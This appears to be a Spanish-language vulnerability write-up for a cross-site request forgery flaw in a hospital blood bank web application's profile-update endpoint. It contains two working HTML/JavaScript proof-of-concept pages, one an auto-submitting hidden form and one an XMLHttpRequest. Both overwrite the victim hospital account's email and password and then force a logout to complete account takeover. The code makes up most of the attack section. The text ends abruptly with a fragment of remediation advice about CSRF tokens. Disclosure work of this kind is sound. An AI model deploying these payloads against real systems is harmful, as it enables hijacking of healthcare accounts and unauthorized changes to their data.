
Un CSRF POC para actualizar el perfil de un hospital que conduce a la toma de control de la cuenta
/file/updateprofile.phpExiste una vulnerabilidad CSRF en este endpoint /file/updateprofile.php que permite a un usuario remoto actualizar los detalles de usuario de un hospital y puede conducir a una toma de control de la cuenta, ya que el atacante puede actualizar toda la información desde el correo electrónico hasta la contraseña, aumentando efectivamente las posibilidades de toma de control de la cuenta.
Una explotación exitosa puede llevar a acciones no autorizadas, por ejemplo, eliminación de datos en nombre de la víctima. Además, esto podría ser explotado visitando sitios web maliciosos con el payload.
A continuación se muestra un ejemplo de un Ataque CSRF POC que actualiza los detalles del perfil de una cuenta de hospital con sesión iniciada; aloje el archivo en un dominio controlado por el atacante, en mi caso estaba usando localhost:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with Logout Redirect</title>
</head>
<body>
<h2>CSRF Proof of Concept with Chained Logout</h2>
<!-- Form to exploit CSRF vulnerability for updating profile -->
<form id="csrfForm" action="http://localhost.local/bloodbank/file/updateprofile.php" method="POST">
<input type="hidden" name="hname" value="parirenyatwa">
<input type="hidden" name="hemail" value="[email protected]">
<input type="hidden" name="hpassword" value="pari1234">
<input type="hidden" name="hphone" value="0777054000">
<input type="hidden" name="hcity" value="harare">
<input type="hidden" name="update" value="Update">
</form>
<script>
// Submit the CSRF form to update profile
document.getElementById("csrfForm").submit();
</script>
</body>
</html>
El atacante puede actualizar efectivamente los detalles del perfil manipulando el correo electrónico y la contraseña y forzar un logout CSRF logrando así la toma de control de la cuenta.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with XMLHttpRequest</title>
</head>
<body>
<h2>CSRF Proof of Concept with XMLHttpRequest and Redirect</h2>
<script>
// Define the target URLs for the CSRF attack
const updateUrl = "http://localhost.local/bloodbank/file/updateprofile.php";
const logoutUrl = "http://localhost.local/bloodbank/logout.php";
// Data for the profile update CSRF request
const updateData = "hname=parirenyatwa&hemail=pari%40hospital.co.zw&hpassword=pari1234&hphone=0777054000&hcity=harare&update=Update";
// Function to send the XMLHttpRequest
function sendCSRFUpdate() {
const xhr = new XMLHttpRequest();
xhr.open("POST", updateUrl, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
// When the request is complete, redirect to the logout page
xhr.onload = function() {
if (xhr.status === 200) {
console.log("Profile update CSRF request completed");
// Redirect to logout URL to log the victim out
window.location.href = logoutUrl;
} else {
console.error("Profile update failed with status:", xhr.status);
}
};
// Send the request with the update data
xhr.send(updateData);
}
// Trigger the CSRF attack by sending the update request
sendCSRFUpdate();
</script>
</body>
</html>
tokens CSRF en sus solicitudes y también evitar que las solicitudes GET realicen acciones de cambio de estado.